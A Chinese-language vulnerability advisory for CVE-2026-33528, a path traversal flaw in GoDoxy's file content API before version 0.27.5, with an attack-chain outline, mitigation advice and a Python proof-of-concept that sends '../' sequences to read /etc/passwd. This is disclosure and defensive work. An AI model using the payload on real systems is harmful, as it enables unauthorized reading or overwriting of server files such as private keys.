IPBUF安全漏洞报告
English
CVE-2026-33528 CVSS 6.5 中危

CVE-2026-33528 GoDoxy路径遍历漏洞

披露日期: 2026-03-26

漏洞信息

漏洞编号
CVE-2026-33528
漏洞类型
路径遍历
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
GoDoxy

相关标签

路径遍历GoDoxy文件读取文件写入认证绕过CVE-2026-33528

漏洞概述

GoDoxy是一个面向自托管用户的反向代理和容器编排器。在0.27.5版本之前的GoDoxy中,其`/api/v1/file/content` API端点存在路径遍历安全漏洞。该端点直接将用户请求中的`filename`查询参数传递给`path.Join(common.ConfigBasePath, filename)`函数进行拼接,且未实施任何有效的清洗或验证机制。由于`ConfigBasePath`被设定为相对路径`config`,经过身份验证的攻击者可以利用`../`序列绕过目录限制,读取或写入`config/`目录之外的任意文件。这可能导致TLS私钥、OAuth刷新令牌等敏感信息泄露,或容器内任意文件被篡改,对系统安全构成严重威胁。

技术细节

该漏洞的核心技术原因在于对用户输入的文件名参数缺乏有效的安全校验和路径规范化处理。在受影响的GoDoxy版本中,`/api/v1/file/content`接口处理逻辑存在缺陷:它仅检查了`filename`字段是否为空,随后便直接将其与相对路径`config`进行拼接。由于未使用`filepath.Clean`等函数对路径进行清洗,也未检查最终路径是否仍位于基目录下,攻击者可以通过精心构造含有`../`的payload(例如`../../etc/passwd`),使得拼接后的路径解析到预期目录之外。鉴于该API支持文件读写操作,且攻击者需要具备高权限(PR:H),一旦利用成功,攻击者不仅能窃取容器运行用户UID可读的任意敏感文件,还能覆盖关键配置或执行文件,完全破坏系统的机密性和完整性。

攻击链分析

STEP 1
步骤1:身份认证
攻击者利用合法凭证登录GoDoxy平台,获取高权限用户会话或API令牌。
STEP 2
步骤2:构造恶意请求
攻击者构造针对`/api/v1/file/content`的HTTP请求,并在`filename`参数中嵌入`../`路径遍历序列(如`../../etc/passwd`)。
STEP 3
步骤3:发送攻击载荷
攻击者将构造好的请求发送至服务器,服务器端因未过滤特殊字符而错误解析路径。
STEP 4
步骤4:执行非授权操作
服务器响应请求,允许攻击者读取配置目录之外的敏感文件(如私钥)或写入恶意文件。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_url = "http://example.com/api/v1/file/content" # Since PR:H is required, a valid authentication token is needed auth_token = "YOUR_VALID_AUTH_TOKEN" # Headers with Authentication headers = { "Authorization": f"Bearer {auth_token}", "Content-Type": "application/json" } # Malicious payload using path traversal to read /etc/passwd # Adjust the number of '../' based on the directory depth payload_params = { "filename": "../../../../../etc/passwd" } try: # Sending GET request to read the file response = requests.get(target_url, headers=headers, params=payload_params) if response.status_code == 200: print("[+] Exploit Successful!") print("[+] File Content:") print(response.text) else: print(f"[-] Exploit Failed. Status Code: {response.status_code}") print(response.text) except Exception as e: print(f"[-] An error occurred: {e}")

影响范围

GoDoxy < 0.27.5

防御指南

临时缓解措施
如果无法立即升级,建议在网络层面严格限制对`/api/v1/file/content`接口的访问来源,仅允许可信的管理员IP地址调用该接口,并实施日志监控以检测包含`../`序列的异常请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表